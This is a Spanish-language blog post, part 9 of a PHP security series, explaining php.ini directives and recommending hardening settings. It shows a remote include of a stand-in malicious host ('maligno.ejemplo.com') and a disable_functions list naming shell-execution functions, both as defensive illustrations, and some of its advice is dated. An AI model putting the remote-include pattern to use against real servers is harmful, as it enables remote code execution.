miércoles, 9 de abril de 2014

[Parte 9] Seguridad en PHP

Directivas de configuracion

Aunque estamos hablando sobre la seguridad en PHP, hay cosas como las configuraciones de PHP con la que todo programador debe estar familiarizado, tenga en cuenta que estas configuraciones pueden afectar el codigo que escriba, de manera que no se vera igual en otro servidor donde no tenga la misma configuracion.

Para saber donde se encuentra nuestro archivo de configuracion podemos usar la funcion phpinfo() la cual nos muestra informacion sobre la configuracion de php:

 <?php
 phpinfo();?>

Cuando nos arroja el contenido de las configuraciones de php podemos observar:


allow_url_fopen

Como se mostraba en la parte 6 de seguridad en php con la directiva allow_url_fopen podemos hacer referencia a archivos remotos como si fuesen locales...




 <?php
 $contenido = file_get_contents('http://ejemplo.com/xss.html');?>


Tambien en la parte 5 de seguridad en PHP vimos como podia ser peligroso al usar include o require:


 <?php
 include 'http://maligno.ejemplo.com/maligno.inc';?>

Es por eso que se recomienda deshabilitar la directiva allow_url_fopen a menos que su aplicacion requiera el uso de ella.

disable_functions

La directiva disable_functions es util para poder garantizar que alguna funcion peligrosa no pueda ser usada, un ejemplo de funciones que no te gustaria utilizar podria ser el siguiente:

disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Aunque es mejor seleccionar las funciones que tu pienses que no necesiten estar activas.


display_errors

Esta directiva muestra los errores que puede contener nuestra aplicacion, aunque en forma de desarrollo es una buena alternativa, ya que nos deja ver en que estamos equivocados, en produccion es un error grave, ya que les estamos dando informacion a cualquier usuario que pueda ver nuestro script PHP, es por eso que se recomienda desactivar en modo de produccion.


enable_dl

Esta directiva se utiliza para activar o desactivar la funcion dl() la cual permite cargar una extension de PHP en tiempo de ejecucion. 



Usando la funcion dl() podemos eludir las restricciones de open_basedir y debe ser desactivada si su aplicacion lo requiere.



error_reporting

Muchas de las vulnerabilidades de seguridad son de la utilizacion de variables no inicializadas o de practicas de programacion descuidada. Es por eso que se recomienda activar error_reporting en E_ALL por lo menos, para que PHP nos informe sobre ello.


file_uploads

Esta directiva determina si se permite o no la carga de archivos, si la aplicacion no necesita aceptar carga de archivos es mejor desactivar esta directiva. 


log_errors

Si esta activado registra todos lo errores y los guarda en el archivo indicado en la directiva error_log.
Esto es muy util ya que podemos llevar un historial de errores de nuestra aplicacion, cuando display_error esta desactivado lo que permite log_errors es sumamente de suma importancia por que de lo contrario no se le avisa sobre ningun error en su aplicacion.
Se recomienda que log_errors se mantenga activado.


magic_quotes_gpc


Esta directiva escapa de forma automatica todos los caracteres que contengan ', ", \ y NULL por los metodos POST, GET y COOKIE.
Es lo mismo que usar la funcion addslashes().
Hay dos razones por la que no debes tener activada esta directiva, las cuales son:

1.- Añade complejidad al filtrado de entrada.
2.- No esta utilizando funciones nativas para escapar los datos a su base de datos.

Esta funcion se recomienda tener desactivada.


memory_limit

Establece el maximo de memoria en bytes que un script puede consumir. Se recomienda usar 8M. La directiva memory_limit solo esta disponible cuando PHP se compilo usando --enable-memory-limit.


open_basedir

La directiva open_basedir limita los archivos que pueden ser abiertos por PHP en un directorio especifico. Cuando un script intenta acceder al sistema de ficheros, por ejemplo, usando include() o fopen(), se comprueba la ubicacion del fichero. Cuando el fichero esta fuera del arbol del directorio especificado, PHP rechazara acceder a el.

open_basedir = /ruta/para

Asegurese de que la directiva enable_dl este desactivada, de lo contrario las restricciones de open_basedir  pueden ser evitadas.

register_globals

Para mas informacion sobre esta directiva se explica en la parte 1 de seguridad en php: http://www.arthusu.com.mx/2014/02/parte-1-seguridad-en-php.html


safe_mode

Para mas informacion sobre esta directiva se explica en la parte 8 de seguridad en php: http://www.arthusu.com.mx/2014/04/parte-8-seguridad-en-php.html



Referencias:

* Essential PHP Security
* PHP documentacion oficial
* PHPsec
* Cyberciti

No hay comentarios:

Publicar un comentario en la entrada